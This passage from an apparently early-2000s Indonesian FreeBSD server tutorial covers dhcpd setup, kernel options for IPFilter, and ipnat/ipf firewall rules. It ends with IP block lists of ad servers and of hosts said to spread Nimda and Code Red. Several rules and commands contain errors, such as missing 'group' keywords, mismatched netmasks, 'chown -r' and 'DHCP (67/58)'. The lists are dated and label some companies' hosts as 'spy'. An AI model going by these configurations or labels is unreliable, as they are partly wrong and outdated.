  cat.: Perhatikan ownership dari /usr/local/bind, jika kita menyalinnya dengan tool atau file-manager seperti midnight- commander, biasanya ownership akan berubah dari bind ke root (atau privileged user pada saat itu), sehingga harus dikembalikan lagi dengan chown -r bind:bind /usr/local/bind.&lt;br /&gt;
&lt;br /&gt;
  Penyesuaian ownership ini juga berlaku untuk direktori baru dibawahnya yang kelak digunakan untuk file-file yang meminta akses-tulis seperti log, dump, stat, pid, dsb. &lt;br /&gt;
&lt;br /&gt;
1.3.4&lt;br /&gt;
&lt;br /&gt;
  Hentikan proses named yang saat itu berlangsung (dengan kill, killall atau top), lalu aktifkan kembali named (dengan argumen seperti named_flags diatas), atau reboot server.&lt;br /&gt;
&lt;br /&gt;
2. DHCP Server&lt;br /&gt;
&lt;br /&gt;
2.1. Instalasi dan Setup&lt;br /&gt;
&lt;br /&gt;
Dengan /stand/sysinstall, install package isc-dhcpd.&lt;br /&gt;
Instalasi ini hanya sekedar mengekstrak program dan dokumentasi dhcpd, kita *harus* membuat sebuah file yaitu /var/db/dhcpd.lease secara manual: touch /var/db/dhcpd.leases.&lt;br /&gt;
Edit file /usr/local/etc/dhcpd.conf dengan editor kesayangan anda, fi-ay :), dan buat alokasi dinamis IP addresses untuk network 192.168.1.0/24 misalnya:&lt;br /&gt;
&lt;br /&gt;
#jangan lupa menggunakan fasilitas syslog&lt;br /&gt;
#dalam syslog.conf tambahkan entry sbb:&lt;br /&gt;
#  local7*	/var/log/dhcpd.log	#awas: pake TAB, jangan pake spasi!&lt;br /&gt;
&lt;br /&gt;
log-facility local7;&lt;br /&gt;
authoritative;&lt;br /&gt;
ddns-update-style ad-hoc;&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;domain.box&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
subnet 192.168.1.0 netmask 255.255.255.0 {&lt;br /&gt;
  option netbios-name-servers 192.168.1.3; #server NT kita&lt;br /&gt;
  option domain-name-servers 192.168.1.1;&lt;br /&gt;
  option routers 192.168.1.1;&lt;br /&gt;
  pool { range 192.168.1.10 192.168.1.190; }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2. Menjalankan dhcpd&lt;br /&gt;
DHCP server sebaiknya dijalankan pada saat boot-up dengan membuat file startup di /usr/local/etc/rc.d&lt;br /&gt;
Untuk menjalankan secara manual ketikan perintah: dhcpd if_2 (if_2 adalah interface yang terhubung dengan network lokal)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
&#039;Official&#039; firewall dari FreeBSD adalah ipfw/natd, kelebihan ipfw terutama adalah kemampuan untuk mengatur kuota bandwith, sementara kelebihan ipf/ipnat yang paling utama adalah performansi. Juga menurut authornya, ipf benar-benar melakukan kontrol terhadap TCP/IP state, tidak cuma artifisial (sekedar mengecek kombinasi flags tertentu seperti SYN/ACK) seperti yang dilakukan dalam paket firewall lainnya.&lt;br /&gt;
&lt;br /&gt;
Dalam bahasan kali ini, kita akan menggunakan IPFilter/IPNAT.&lt;br /&gt;
&lt;br /&gt;
3.1. Kompilasi kernel&lt;br /&gt;
&lt;br /&gt;
Untuk memasang firewall kita harus mengkompile ulang kernel (selanjutnya kita bisa mencopot-pasang lagi lewat loadable kernel module).&lt;br /&gt;
&lt;br /&gt;
3.1.1 Konfigurasi kernel&lt;br /&gt;
&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
option tambahan kernel kita dari GENERIC adalah sbb:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#--- start kernel options ---&lt;br /&gt;
#hapus semua options cpu kecuali model tertinggi sesuai cpu anda&lt;br /&gt;
#cpu		I386_CPU&lt;br /&gt;
#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
